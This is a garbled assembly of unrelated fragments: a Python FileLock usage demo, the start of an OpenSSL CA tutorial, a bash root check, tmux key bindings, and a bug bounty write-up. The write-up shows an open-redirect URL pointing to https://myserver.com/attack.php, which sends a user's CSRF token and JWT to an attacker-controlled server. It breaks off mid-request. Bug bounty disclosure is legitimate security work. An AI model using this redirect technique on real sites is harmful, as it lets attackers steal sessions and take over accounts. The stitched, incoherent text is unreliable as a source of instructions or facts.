Tested on Mac OS X 10.6.6 and Ubuntu 10.10 with Python 2.6.6

To try it out, open up a python shell and type:
>>> from lock import FileLock
>>> lock = FileLock("my_lock", dir="/var/tmp")
>>> lock.acquire()

Leave the first shell open, and open another python shell and type the same thing:
>>> from lock import FileLock
>>> lock = FileLock("my_lock", dir="/var/tmp")

How to setup your own CA with OpenSSL

For educational reasons I've decided to create my own CA. Here is what I learned.

First things first

Lets get some context first.

if [[ $EUID -ne 0 ]]; then
    echo "You must be root to run this script"
    exit 1
fi

# Returns all available interfaces, except "lo" and "veth*".

# Set the control character to Ctrl+Spacebar (instead of Ctrl+B)
set -g prefix C-space

bind-key C-space send-prefix

# Set new panes to open in current directory
bind c new-window -c "#{pane_current_path}"
bind '"' split-window -c "#{pane_current_path}"
bind % split-window -h -c "#{pane_current_path}"

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

1. There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
2. User loads https://example.com/?code=VALUE
3. Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user

   GET /verify/VALUE HTTP/1.1
   Host: example.com
